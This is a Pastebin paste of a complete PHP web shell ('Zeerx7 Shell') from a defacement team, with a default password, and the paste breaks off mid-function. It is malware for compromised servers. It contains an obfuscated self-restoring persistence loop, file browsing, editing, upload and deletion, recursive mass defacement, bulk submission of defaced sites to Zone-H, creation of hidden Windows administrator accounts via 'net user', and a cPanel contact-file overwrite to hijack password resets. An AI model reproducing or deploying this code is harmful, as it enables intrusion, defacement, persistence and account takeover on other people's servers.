Advertisement
zeerx7

zeerx7_shell {Anti}

Sep 13th, 2020
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 35.12 KB | None | 0 0
  1. <?php
  2. /*
  3.     ^ Name : Zeerx7 Shell
  4.     ^ Author: Zeerx7(Pausi)
  5.     ^ Team: XploitSec-ID
  6.     ^ Version : V.1
  7.     ^ https://github.com/404rgr/zeerx7
  8.  
  9.     * Ingin Record? izin dulu gan
  10.     * gak izin? Sfx lo nob bab!
  11.  
  12.     ! Note:
  13.     'tidak semua tools disini saya yang buat!!'
  14.     'untuk tools akan ditambah di versi selanjutnya'
  15.  
  16.     /^
  17.         Pass Default : z7
  18.     ^/
  19.  
  20. */
  21. session_start();
  22. error_reporting(0);
  23. @set_time_limit(0);
  24. @clearstatcache();
  25. @ini_set('error_log', NULL);
  26. @ini_set('log_errors', 0);
  27. @ini_set('max_execution_time', 0);
  28. @ini_set('output_buffering', 0);
  29. @ini_set('display_errors', 0);
  30. $MyPass = 'z7'; // Password Default: z7
  31. if (empty($_SESSION['login'])) {
  32.     pausi_login();
  33. }
  34. ${"\x47\x4c\x4f\x42A\x4c\x53"}["vc\x6b\x67f\x77y\x69g\x68"]="\x6f\x78";${"\x47L\x4f\x42\x41\x4c\x53"}["\x7a\x6e\x6e\x77b\x62\x6dv"]="\x67\x61n\x73";if($_GET["\x61\x6e\x74\x69"]=="d\x65\x6c"){${"\x47\x4c\x4f\x42\x41\x4cS"}["r\x74\x67\x67\x72\x6b"]="\x70\x61\x75\x73\x69";ignore_user_abort(true);set_time_limit(0);${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x74g\x67\x72\x6b"]}=__FILE__;$pfjhkln="\x70aus\x69";${${"\x47L\x4f\x42\x41LS"}["z\x6e\x6ew\x62\x62\x6dv"]}=__DIR__;${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x63\x6bg\x66\x77\x79igh"]}=file_get_contents(${$pfjhkln});while(True){if(!is_dir(${${"G\x4c\x4f\x42A\x4c\x53"}["\x7a\x6enwb\x62\x6d\x76"]})){mkdir(${${"\x47\x4c\x4f\x42AL\x53"}["\x7a\x6e\x6e\x77b\x62\x6dv"]},0755,true);}$xicwuvem="\x70a\x75\x73\x69";if(!file_exists(${$xicwuvem})){${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6bja\x6e\x6bm\x64r\x72\x71"]="p\x61u\x73\x69";fwrite(fopen(${${"GL\x4fBA\x4cS"}["\x6b\x6a\x61\x6e\x6b\x6d\x64\x72\x72\x71"]},"\x77"),${${"G\x4cO\x42\x41L\x53"}["v\x63\x6bg\x66\x77\x79i\x67\x68"]});}}}
  35.  
  36.  
  37. if (isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['action'] == 'download')) {
  38.     @ob_clean();
  39.     $file = $_GET['file'];
  40.     header('Content-Description: File Transfer');
  41.     header('Content-Type: application/octet-stream');
  42.     header('Content-Disposition: attachment; filename="' . basename($file) . '"');
  43.     header('Expires: 0');
  44.     header('Cache-Control: must-revalidate');
  45.     header('Pragma: public');
  46.     header('Content-Length: ' . filesize($file));
  47.     readfile($file);
  48.     exit;
  49. }
  50. echo "
  51. <!DOCTYPE html>
  52. <html>
  53. <head>
  54.    <title>{ Zeerx7 Shell }</title>
  55.    <link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css' />
  56.    <style type='text/css'>
  57.        body{
  58.            font-family: 'Source Sans Pro';
  59.            background: black;
  60.            margin 0;
  61.            color: white;
  62.        }.pausi{
  63.            margin: 0 auto;
  64.            width: 100%;
  65.        }
  66.        table {
  67.            margin: auto;
  68.            font-family: \"Lucida Sans Unicode\", \"Lucida Grande\", \"Segoe Ui\";
  69.            font-size: 15px;
  70.            width: 100%;
  71.        }th{
  72.            background-color: #302F2F;
  73.        }td{border-bottom: 1px dashed #00008B;
  74.            background-color: black;
  75.            padding: 90 11px;
  76.        }.t{
  77.            text-align: center;
  78.        }tr:hover td{
  79.            background-color: red;
  80.        }.center{
  81.            text-align: center;
  82.        }.box{
  83.    min-width:50%;
  84.    border-radius:8px;
  85.    opacity:1;
  86.    padding: 10px;
  87.    box-shadow:1px 1px 25px red;
  88.    opacity:0.98;
  89. }.menu{
  90.    border:1px solid red;
  91.    background-color:black;
  92.    text-align: center;
  93.    width:80px;
  94.    padding: 5px;
  95.    color:white;
  96. }a{
  97.    font-family: 'arial';
  98.    color: white;
  99.    text-decoration: none;
  100.    margin: 0;
  101. }a:hover{
  102. color: gold;
  103. }.u{float:right;text-align:right;margin-bottom:1.5em}input[type=file]{display:none}input[type=submit]{border:1px solid #181818;padding:.2em;}      
  104.    </style>
  105. </head>
  106. <body>";
  107. if (empty($_GET['dir'])) {
  108.     $dir = getcwd();
  109. } else {
  110.     $dir = $_GET['dir'];
  111.     chdir($dir);
  112. }
  113. function pausipath()
  114. {
  115.     global $dir;
  116.     $path  = str_replace('\\', '/', $dir);
  117.     $paths = explode('/', $path);
  118.    
  119.     foreach ($paths as $id => $pat) {
  120.         if ($pat == '' && $id == 0) {
  121.             $a = true;
  122.             echo '<a href="?dir=/">/</a>';
  123.             continue;
  124.         }
  125.         if ($pat == '')
  126.             continue;
  127.         echo '<a href="?dir=';
  128.         for ($i = 0; $i <= $id; $i++) {
  129.             echo "$paths[$i]";
  130.             if ($i != $id)
  131.                 echo "/";
  132.         }
  133.         echo '">' . $pat . '</a>/';
  134.     }
  135. }
  136. function ip_info()
  137. {
  138.     $ip2 = getHostByName(getHostName());
  139.     $p   = "Server IP: " . $ip2 . " | Your IP: " . $_SERVER['REMOTE_ADDR'];
  140.     return $p;
  141. }
  142. $verPHP    = phpversion();
  143. $IP        = getHostByName(getHostName());
  144. $localhost = shell_exec(hostname);
  145. $soft      = $_SERVER['SERVER_SOFTWARE'];
  146. $mysql     = (function_exists('mysql_connect')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
  147. $curl      = (function_exists('curl_version')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
  148. $mail      = (function_exists('mail')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
  149. echo "<center><font size='6px' color='lavender'>^_^ Zeerx7 Shell *_*</font><br></center>
  150.    <div class='pausi'>
  151.        <p>" . php_uname() . "<br>" . ip_info() . "<br>
  152.        $soft <br>
  153.        MySQL: $mysql | cURL: $curl | MAILER: $mail<br>";
  154. pausipath();
  155. echo ' [ ';
  156. if (is_writable($dir))
  157.     echo '<font color="#00ff00">';
  158. elseif (!is_readable($dir))
  159.     echo '<font color="red">';
  160. echo perms($dir) . '</font> ]';
  161. echo "
  162.    </p><br>
  163.        <center><form method='post' enctype='multipart/form-data' action='?upload=true&dir=$dir'>
  164.        <a class='menu' href='?'>Home</a>
  165.        <label class='menu'>
  166.            <input  type='file' name='pausi_upload[]' onchange='this.form.submit()' multiple> &nbsp;UPLOAD
  167.        </label>
  168.        <a class='menu' href='?tools=jumping'>Jumping</a>
  169.        <a class='menu' href='?tools=mass_deface&dir=$dir'>Mass Deface</a>
  170.        <a class='menu' href='?tools=crack_cpanel'>Crack Cpanel</a>
  171.        <a class='menu' href='?tools=RDP'>Create RDP</a>
  172.        <a class='menu' href='?tools=zone-h'>Zone-H</a>
  173.        <a class='menu' href='?logout=true'>EXIT</a>
  174.        </form>
  175.        </center>
  176.        <br>";
  177. if ($_GET['logout'] == 'true') {
  178.     session_start();
  179.     session_destroy();
  180.     header('location: ?');
  181.     echo " <meta http-equiv=\"refresh\" content=\"0; url=?\"> ";
  182. } elseif ($_GET['action']) {
  183.     if ($_GET['action'] == 'rename') {
  184.         echo "<hr>";
  185.         $re = $_GET['rename'];
  186.         echo "
  187.        <form action='?action=rename&rename=$re&dir=$dir' method=POST>
  188.        New Name : <input type='text' name='fname'>
  189.        <input type='submit' name='fok' value='Done'>
  190.        </form>";
  191.         if (isset($_POST['fok'])) {
  192.             $new = $_POST['fname'];
  193.             if (rename($re, "$dir/$new")) {
  194.                 echo "<center>Rename Successfully<center>";
  195.             } else {
  196.                 echo "<center>Rename Failed<center><center>";
  197.             }
  198.         }
  199.     } elseif ($_GET['action'] == 'edit') {
  200.         $save = $_GET['edit'];
  201.         echo "<hr>edit=> $save<br><hr>";
  202.         if (!empty($_POST['pausiganteng'])) {
  203.             $up  = fopen($save, "w");
  204.             $res = fwrite($up, $_POST['pausi_ganteng']);
  205.             if ($res) {
  206.                 echo "<h3 class=center style='color:green'>Edit Successfully</h3>";
  207.             } else {
  208.                 echo "<h4 class=center style='color:red'>Failed!!</h4>";
  209.             }
  210.         }
  211.         $cont = htmlspecialchars(file_get_contents($save));
  212.         echo "<form action='?action=edit&edit=$save&$dir=$dir' method='POST'>
  213.        <center><textarea name='pausi_ganteng' cols=100% rows=30%>$cont</textarea><br><br>
  214.        <input type='submit' name='pausiganteng' value='<<<<<<<<[! Save File !]>>>>>>>>'></center>
  215.        </form><br><br>";
  216.     } elseif ($_GET['action'] == 'view') {
  217.         echo "<hr>";
  218.         echo "View Files=> " . $_GET['view'] . "<br>";
  219.         $cont = htmlspecialchars(file_get_contents($_GET['view']));
  220.         echo "<pre style='background-color: grey'>$cont</pre>";
  221.     } elseif ($_GET['action'] == 'delete-file') {
  222.         if (unlink($_GET['delete'])) {
  223.             $del_pausi = "<h3 class=center style=color:#00ff00>Delete Successfully</h3>";
  224.         } else {
  225.             $del_pausi = "<h3 class=center style=color:red>Delete Failed</h3>";
  226.            
  227.         }
  228.         pausi_tampilkan();
  229.     } elseif ($_GET['action'] == 'delete-dir') {
  230.         $del = delTree($_GET['delete-dir']);
  231.         if ($del) {
  232.             $del_pausi = "<h3 class=center style=color:#00ff00>Delete Successfully</h3>";
  233.         } else {
  234.             $del_pausi = "<h3 class=center style=color:red>Delete Failed</h3>";
  235.            
  236.         }
  237.         pausi_tampilkan();
  238.     } elseif ($_GET['action'] == 'create_file') {
  239.         echo ('<hr>');
  240.         if ($_POST['new_file'] and $_POST['pausi_create_file']) {
  241.             $n   = $_POST['new_file'];
  242.             $isi = $_POST['pausi_create_file'];
  243.             $b   = @fopen($n, "w");
  244.             $sep = @fwrite($b, $isi);
  245.             if ($sep) {
  246.                 echo "<h3 class=center style=color:#00ff00>Create $n Successfully</h3>";
  247.             } else {
  248.                 echo "<h3 class=center style=color:red>Create $n Failed</h3>";
  249.             }
  250.             echo "<br>";
  251.         }
  252.         echo "<form method=POST>
  253.            <h3>New File: <input type=text name=new_file placeholder=\"Nama File\"><br>
  254.            <h3>Isi File: </h3><textarea name=pausi_create_file cols=100% rows=30% placeholder=\"Isi File\"></textarea></h3><br>
  255.            <button type=submit>Create</button>
  256.        </form>";
  257.     } elseif ($_GET['action'] == 'new-dir') {
  258.         echo ('<hr>');
  259.         if ($_POST['new_dr']) {
  260.             $sep = @mkdir($_POST['new_dr']);
  261.             if ($sep) {
  262.                 echo "<h3 class=center style=color:#00ff00>Create $n Successfully</h3>";
  263.             } else {
  264.                 echo "<h3 class=center style=color:red>Create $n Failed</h3>";
  265.             }
  266.             echo "<br>";
  267.         }
  268.         echo "<form method=POST>
  269.            <h3>New Folder: <input type=text name=new_dr placeholder=\"Nama Folder\">
  270.            <button type=submit>Create</button>
  271.        </form>";
  272.     }
  273. } elseif ($_GET['tools']) {
  274.     if ($_GET['tools'] == 'jumping') {
  275.         echo "<hr>";
  276.         aksiJump($dir, $IP);
  277.     } elseif ($_GET['tools'] == 'mass_deface') {
  278.         if ($_POST['start']) {
  279.             if ($_POST['tipe'] == 'massal') {
  280.                 echo "<div style='margin: 5px auto; padding: 5px'>";
  281.                 mass_deface($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  282.                 echo "</div>";
  283.             } elseif ($_POST['tipe'] == 'biasa') {
  284.                 echo "<div style='margin: 5px auto; padding: 5px'>";
  285.                 mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  286.                 echo "</div>";
  287.             }
  288.             echo "<a href='?'><- back to home</a>";
  289.         } else {
  290.             echo "<hr>
  291.            <form method='post'>
  292.            <font style='text-decoration: underline;'>Tipe:</font>
  293.            <input type='radio' name='tipe' value='biasa' checked>Biasa<input type='radio' name='tipe' value='massal'>Massal<br><br>
  294.            <font style='text-decoration: underline;'>Dir:</font><br>
  295.            <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br><br>
  296.            <font style='text-decoration: underline;'>Filename:</font><br>
  297.            <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br><br>
  298.            <font style='text-decoration: underline;'>Index File:</font><br>
  299.            <textarea name='script' style='width: 450px; height: 200px;'>0wNeD By Zeerx7</textarea><br>
  300.            <input type='submit' name='start' value='Goo!' style='width: 454px;' class='btn btn-success btn-sm'><br><br>
  301.            </form>";
  302.         }
  303.     } elseif ($_GET['tools'] == 'crack_cpanel') {
  304.         crack_cpanel();
  305.     } elseif ($_GET['tools'] == 'zone-h') {
  306.         echo "<hr>";
  307.         if ($_POST['submit']) {
  308.             $domain = explode("\r\n", $_POST['url']);
  309.             $nick   = $_POST['nick'];
  310.             echo "<font color='white'>Defacer Onhold:</font> <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  311.             echo "<font color='white'>Defacer Archive:</font> <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  312.             function zoneh($url, $nick)
  313.             {
  314.                 $ch = curl_init("http://www.zone-h.com/notify/single");
  315.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  316.                 curl_setopt($ch, CURLOPT_POST, true);
  317.                 curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  318.                 return curl_exec($ch);
  319.                 curl_close($ch);
  320.             }
  321.             foreach ($domain as $url) {
  322.                 $zoneh = zoneh($url, $nick);
  323.                 if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  324.                     echo "<font color='white'>$url -> </font><font color=green>OK</font><br>";
  325.                 } else {
  326.                     echo "<font color='white'>$url -> </font><font color=red>ERROR</font><br>";
  327.                 }
  328.             }
  329.         } else {
  330.             echo "<center>
  331.        <font size='7' color='red' face='Orbitron'>Zone-H Mass Notify</font><br>";
  332.             echo "<br>
  333.            <form method='post'>
  334.            <input style='width: 350px;' type='text' name='nick' placeholder='Defacer' value=Zeerx7><br><br>
  335.            <textarea style='width: 350px;' placeholder='http://zone-xsec.com/' name='url'></textarea><br><br><input class='tombol' type='submit' name='submit' value='Submit'>
  336.            </form>";
  337.         }
  338.     } elseif ($_GET['tools'] == 'RDP') {
  339.         echo "<hr>
  340. <div style='padding: 2em;'>
  341. <form method=POST>
  342. <label>CREATE RDP </label><br>
  343. <label>Username: </label>
  344. <input type=text style='border:1px solid #590;' name=user>
  345. <label> &nbsp;&nbsp;&nbsp;&nbsp;Password: </label>
  346. <input type=text style='border:1px solid #590;' name=pass>
  347. <input type='SUBMIT' name=create_rdp VALUE='CREATE'>
  348. </form>
  349. <br><br><br>
  350.  
  351. <form method=POST>
  352. <label>OPTION </label><br>
  353. <label>Username: </label>
  354. <input type=text style='border:1px solid #590;' name=user>
  355. <label> &nbsp;&nbsp;&nbsp;&nbsp;Password: </label>
  356. <input type=text style='border:1px solid #590;' name=pass>
  357. <label>&nbsp;&nbsp;&nbsp;&nbsp;Action: </label>
  358. <select name='action'>
  359.                                                        <option value='1'>Tampilkan Username</option>
  360.                                                        <option value='2'>Hapus Username</option>
  361.                                                        <option value='3'>Ubah Password</option>
  362.                                                </select>
  363. <input type='SUBMIT' value='GO!' name='option'>
  364. </form>
  365. </div>
  366.        ";
  367.        
  368.         $inf = "<p>--------------{ INFORMATION }--------------</p>";
  369.         if ($_POST['create_rdp']) {
  370.             print $inf;
  371.             $user = $_POST['user'];
  372.             $pass = $_POST['pass'];
  373.             $cek  = shell_exec("net user");
  374.             if (preg_match("/$user/", $cek)) {
  375.                 echo $localhost . $user . " sudah ada<br>";
  376.             } else {
  377.                 $cmd_add_user    = shell_exec("net user " . $user . " " . $pass . " /add");
  378.                 $cmd_add_groups1 = shell_exec("net localgroup Administrators " . $user . " /add");
  379.                 $cmd_add_groups2 = shell_exec("net localgroup Administrator " . $user . " /add");
  380.                 $cmd_add_groups3 = shell_exec("net localgroup Administrateur " . $user . " /add");
  381.                
  382.                 if ($cmd_add_user) {
  383.                     echo "# [add user]-> " . $user . " <font color='greenyellow'>Berhasil</font><br>";
  384.                 } else {
  385.                     echo "# [add user]-> " . $user . " <font color='red'>Gagal</font><br>";
  386.                 }
  387.                 if ($cmd_add_groups1) {
  388.                     echo "# [add localgroup Administrators]-> " . $user . " <font color='greenyellow'>Berhasil</font><br>";
  389.                 } else if ($cmd_add_groups2) {
  390.                     echo "# [add localgroup Administrator]-> " . $user . " <font color='greenyellow'>Berhasil</font><br>";
  391.                 } else if ($cmd_add_groups3) {
  392.                     echo "# [add localgroup Administrateur]-> " . $user . " <font color='greenyellow'>Berhasil</font><br>";
  393.                 } else {
  394.                     echo "# [add localgroup]-> " . $user . " <font color='red'>Gagal</font><br>";
  395.                 }
  396.                 echo "# [INFO PC]-> RDP IP " . $_SERVER["HTTP_HOST"] . " Username : " . $user . " Password : " . $pass . " <font color='greenyellow'>Berhasil</font><br>";
  397.                
  398.             }
  399.         } elseif ($_POST['option']) {
  400.             print $inf;
  401.             if ($_POST['action'] == "1") {
  402.                 echo "<pre>" . shell_exec("net user") . "</pre>";
  403.             } else if ($_POST['action'] == "2") {
  404.                 $username     = $_POST['user'];
  405.                 $cmd_cek_user = shell_exec("net user");
  406.                 if (!empty($username)) {
  407.                     if (preg_match("/$username/", $cmd_cek_user)) {
  408.                         $cmd_add_user = shell_exec("net user " . $username . " /DELETE");
  409.                         if ($cmd_add_user) {
  410.                             echo "# [remove user]-> " . $username . " <font color='greenyellow'>Berhasil</font><br>";
  411.                         } else {
  412.                             echo "# [remove user]-> " . $username . " <font color='red'>gagal</font><br>";
  413.                         }
  414.                     } else {
  415.                         echo "# [remove user]-> " . $username . " <font color='red'>Tidak ditemukan</font><br>";
  416.                     }
  417.                 } else {
  418.                     echo "# [PESAN]-> <font color='red'>Kamu lupa masukin Username yang akan di delete</font><br>";
  419.                 }
  420.             } else if ($_POST['action'] == "3") {
  421.                 $username     = $_POST['user'];
  422.                 $password     = $_POST['pass'];
  423.                 $cmd_cek_user = shell_exec("net user");
  424.                 if (!empty($username)) {
  425.                     if (preg_match("/$username/", $cmd_cek_user)) {
  426.                         $cmd_add_user = shell_exec("net user " . $username . " shor7cut");
  427.                         if ($cmd_add_user) {
  428.                             echo "# [change password]-> (" . $username . "|" . $password . ") <font color='greenyellow'>Berhasil</font><br>";
  429.                         } else {
  430.                             echo "# [change password]-> (" . $username . "|" . $password . ") <font color='red'>GAGAL</font><br>";
  431.                         }
  432.                     } else {
  433.                         echo "# [PESAN]-> <font color='red'>Username Tidak Ditemukan di server</font><br>";
  434.                     }
  435.                 } else {
  436.                     echo "# [PESAN]-> <font color='red'>Kamu lupa masukin Username yang akan di delete</font><br>";
  437.                 }
  438.             }
  439.         }
  440.     }
  441. } elseif ($_GET['upload'] == 'true') {
  442.     if (isset($_FILES['pausi_upload'])) {
  443.         foreach ($_FILES['pausi_upload']['name'] as $key => $val) {
  444.             $name = $_FILES['pausi_upload']['name'][$key];
  445.             $tmp  = $_FILES['pausi_upload']['tmp_name'][$key];
  446.             if (trim($name) != '') {
  447.                 if (move_uploaded_file($tmp, $name)) {
  448.                     $del_pausi = '<h3 class=center style=color:#00ff00>Uploaded ' . $name . ' Successfully</h3><br/>';
  449.                 } else {
  450.                     $del_pausi = "<h3 class=center style=color:red>Failed to Upload " . $name . "</h3><br>";
  451.                 }
  452.             }
  453.         }
  454.     }
  455.     pausi_tampilkan();
  456. } else {
  457.     pausi_tampilkan();
  458. }
  459. echo "
  460.    </div>
  461. </body>
  462. </html>";
  463. function mass_deface($dir, $namafile, $isi_script)
  464. {
  465.     if (is_writable($dir)) {
  466.         $dira = scandir($dir);
  467.         foreach ($dira as $dirb) {
  468.             $dirc   = "$dir/$dirb";
  469.             $lokasi = $dirc . '/' . $namafile;
  470.             if ($dirb === '.') {
  471.                 file_put_contents($lokasi, $isi_script);
  472.             } elseif ($dirb === '..') {
  473.                 file_put_contents($lokasi, $isi_script);
  474.             } else {
  475.                 if (is_dir($dirc)) {
  476.                     if (is_writable($dirc)) {
  477.                         echo "[<font color=#00ff00>DONE</font>] $lokasi<br>";
  478.                         file_put_contents($lokasi, $isi_script);
  479.                         $idx = mass_deface($dirc, $namafile, $isi_script);
  480.                     }
  481.                 }
  482.             }
  483.         }
  484.     }
  485. }
  486. function mass_biasa($dir, $namafile, $isi_script)
  487. {
  488.     if (is_writable($dir)) {
  489.         $dira = scandir($dir);
  490.         foreach ($dira as $dirb) {
  491.             $dirc   = "$dir/$dirb";
  492.             $lokasi = $dirc . '/' . $namafile;
  493.             if ($dirb === '.') {
  494.                 file_put_contents($lokasi, $isi_script);
  495.             } elseif ($dirb === '..') {
  496.                 file_put_contents($lokasi, $isi_script);
  497.             } else {
  498.                 if (is_dir($dirc)) {
  499.                     if (is_writable($dirc)) {
  500.                         echo "[<font color=#00ff00>DONE</font>] $dirb/$namafile<br>";
  501.                         file_put_contents($lokasi, $isi_script);
  502.                     }
  503.                 }
  504.             }
  505.         }
  506.     }
  507. }
  508. function delTree($dir)
  509. {
  510.     $files = array_diff(scandir($dir), array(
  511.         '.',
  512.         '..'
  513.     ));
  514.     foreach ($files as $file) {
  515.         (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
  516.     }
  517.     return rmdir($dir);
  518. }
  519. function pausi_tampilkan()
  520. {
  521.     global $dir;
  522.     global $del_pausi;
  523.     echo "<div class=\"box\">
  524.    $del_pausi
  525.    <table>
  526.                    <th style=\"width: 35%\">Name</th>
  527.                    <th>Size</th>
  528.                    <th>Modified</th>
  529.                    <th>Permission</th>
  530.                    <th style=\"width: 30%\">Action</th>
  531. ";
  532.     $si = scandir($dir);
  533.     foreach ($si as $fol) {
  534.         $waktu       = date("D-m-Y G:i", filemtime("$dir/$fol"));
  535.         $pausi_perms = perms($dir . "/" . $fol);
  536.         if ($fol == ".") {
  537.             continue;
  538.         } elseif ($fol == "..") {
  539.             print "<tr>
  540.            <td><i class='fa fa-folder-open-o'></i> <a href='?dir=$dir/$fol/'>$fol</a></td>
  541.            <td><center>--</cemter></td>
  542.            <td class=center>" . $waktu . "</td>
  543.            <td class=center>";
  544.             if (is_writable($dir . '/' . $file))
  545.                 echo '<font color="#00ff00">';
  546.             elseif (!is_readable($dir . '/' . $file))
  547.                 echo '<font color="red">';
  548.             print $pausi_perms . "</td>
  549.            <td class=center><a href='?action=create_file&dir=$dir'>New File</a> | <a href='?action=new-dir&dir=$dir'>New Folder</td>
  550.            <tr>";
  551.         } else {
  552.             if (is_dir("$dir/$fol") == true) {
  553.                 print "<tr>
  554.                <td><i class='fa fa-folder-o'></i> <a href='?dir=$dir/$fol/'>$fol</a></td>
  555.                <td class=center>--</td>
  556.                <td class=center>" . $waktu . "</td>
  557.                <td class=center>";
  558.                 if (is_writable($dir . '/' . $file))
  559.                     echo '<font color="#00ff00">';
  560.                 elseif (!is_readable($dir . '/' . $file))
  561.                     echo '<font color="red">';
  562.                 print $pausi_perms . "</td>
  563.                <td><a href='?action=delete-dir&delete-dir=$dir/$fol&dir=$dir'>
  564.                <center>Delete</a> | <a href='?action=rename&rename=$dir/$fol&dir=$dir'>Rename</a></center></td>
  565.                <tr>";
  566.             }
  567.         }
  568.     }
  569.     foreach ($si as $file) {
  570.         $waktu       = date("D-m-Y G:i", filemtime("$dir/$file"));
  571.         $pausi_perms = perms($dir . "/" . $file);
  572.         if ($file == "." || $file == "..") {
  573.             continue;
  574.         } else {
  575.             $size = filesize("$dir/$file") / 1024;
  576.             $size = round($size, 3);
  577.             if ($size >= 1024) {
  578.                 $size = round($size / 1024, 2) . ' MB';
  579.             } else {
  580.                 $size = $size . ' KB';
  581.             }
  582.             if (is_file("$dir/$file") == true) {
  583.                 print "<tr>
  584.                <td><a href='?action=view&view=$dir/$file&dir=$dir'><i class='fa fa-file-o'></i> $file</a></td>
  585.                <td>$size</td>
  586.                <td class=center>$waktu</td>
  587.                <td class=center>";
  588.                 if (is_writable($dir . '/' . $file))
  589.                     echo '<font color="#00ff00">';
  590.                 elseif (!is_readable($dir . '/' . $file))
  591.                     echo '<font color="red">';
  592.                 echo "$pausi_perms</td>
  593.                <td class=center><a href='?action=edit&edit=$dir/$file&$dir=$dir'>Edit</a> | <a href='?action=delete-file&delete=$dir/$file&dir=$dir'>Delete</a> | <a href='?action=rename&rename=$dir/$file&dir=$dir'>Rename</a> | <a href='?action=download&file=$dir/$file'>Download</a></td>
  594.                </tr>";
  595.             }
  596.         }
  597.     }
  598.     echo "</div>";
  599. }
  600. function pausi_login()
  601. {
  602.     global $MyPass;
  603.     echo "  <title>{ Zeerx7 Shell }</title>
  604.  <meta name='viewport' content='width=device-width, initial-scale=1'>
  605.  <style type='text/css'>
  606.  body {
  607.    background: black;
  608.    color: #00FF00;
  609.  }
  610.    input{
  611.    border:0;
  612.    border:1px solid #900;
  613.    background:black;
  614.    color: gold;
  615.  }
  616.  </style><center><br><br>
  617.  <pre>
  618.   / \       _-'
  619.  /|  \-''- _ /
  620. { |          \
  621. /             \
  622. /       \"o.  |o }
  623. |            \ ;
  624. \             ',
  625. --\_         __\
  626.     ''-_    \.//
  627.        '-____'
  628.  </pre>
  629.  <form method='POST'>
  630.    <input type='password' name='pw'>
  631.  </form>
  632. ";
  633.     session_start();
  634.     if ($_POST['pw'] == $MyPass) {
  635.         $_SESSION['login'] = $MyPass;
  636.         print "<script>window.location='?';</script>";
  637.     }
  638.     exit;
  639. }
  640. function perms($pausi_gan77)
  641. {
  642.     $perms = fileperms($pausi_gan77);
  643.     if (($perms & 0xC000) == 0xC000) {
  644.         $f = 's';
  645.     } elseif (($perms & 0xA000) == 0xA000) {
  646.         $f = 'l';
  647.     } elseif (($perms & 0x8000) == 0x8000) {
  648.         $f = '-';
  649.     } elseif (($perms & 0x6000) == 0x6000) {
  650.         $f = 'b';
  651.     } elseif (($perms & 0x4000) == 0x4000) {
  652.         $f = 'd';
  653.     } elseif (($perms & 0x2000) == 0x2000) {
  654.         $f = 'c';
  655.     } elseif (($perms & 0x1000) == 0x1000) {
  656.         $f = 'p';
  657.     } else {
  658.         $f = 'u';
  659.     }
  660.     $f .= (($perms & 0x0100) ? 'r' : '-');
  661.     $f .= (($perms & 0x0080) ? 'w' : '-');
  662.     $f .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
  663.     $f .= (($perms & 0x0020) ? 'r' : '-');
  664.     $f .= (($perms & 0x0010) ? 'w' : '-');
  665.     $f .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
  666.     $f .= (($perms & 0x0004) ? 'r' : '-');
  667.     $f .= (($perms & 0x0002) ? 'w' : '-');
  668.     $f .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
  669.     return $f;
  670. }
  671. function crack_cpanel()
  672. {
  673.     echo "<hr><br>";
  674.     echo '<style>.draw {
  675.  height:45px;
  676. }
  677. .wis{
  678.  height: 25px;
  679. }.logo{ height:70px;}
  680. input[type="email"] { border-radius:5px; border-bottom-color: blue; border-top-color: blue; padding: 10; }
  681. </style>  <center>  <div style=" border: 7px double; border-color: #F90000;border-radius: 16px 16px 16px 16px;-moz-border-radius: 16px 16px 16px 16px;-webkit-border-radius: 16px 16px 16px 16px;height:auto;width:500px; background-color:black;  color:white;"><br><h2>Crack Cpanel   <br><br>  <form action="#" method="post">  <input type="email" name="email" placeholder="Your Email" style="background-color: " />  <input type="submit" name="submit" value="Crack" style="background-color: transparent;font: 15pt cursive;color:#80D713;"/>  </form>         <br /><br />   </p>    ';
  682.     $IIIIIIIIIIII = get_current_user();
  683.     $IIIIIIIIIII1 = $_SERVER['HTTP_HOST'];
  684.     $IIIIIIIIIIlI = getenv('REMOTE_ADDR');
  685.     if (isset($_POST['submit'])) {
  686.         $email        = $_POST['email'];
  687.         $IIIIIIIIIIl1 = 'email:' . $email;
  688.         $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.cpanel/contactinfo', 'w');
  689.         fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1);
  690.         fclose($IIIIIIIIII1I);
  691.         $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.contactinfo', 'w');
  692.         fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1);
  693.         fclose($IIIIIIIIII1I);
  694.         $IIIIIIIIIlIl    = "https://";
  695.         $IIIIIIIIIlI1    = "2083";
  696.         $IIIIIIIIIllI    = $IIIIIIIIIII1 . ':2083/resetpass?start=1';
  697.         $read_named_conf = @file('/home/' . $IIIIIIIIIIII . '/.cpanel/contactinfo');
  698.         if (!$read_named_conf) {
  699.             echo "<h1>maaf dak pacak di akses ster</h1><br><br> </pre></center>";
  700.         } else {
  701.             echo "<center>SALIN INI STER TRUZZ GASS <BR><BR></center>";
  702.             echo '<center><input type="text" value="' . $IIIIIIIIIIII . '" id="user"> <button onclick="username()">SALIN TEXT</button></center> <script>function username() { var copyText = document.getElementById("user"); copyText.select(); document.execCommand("copy"); } </script> ';
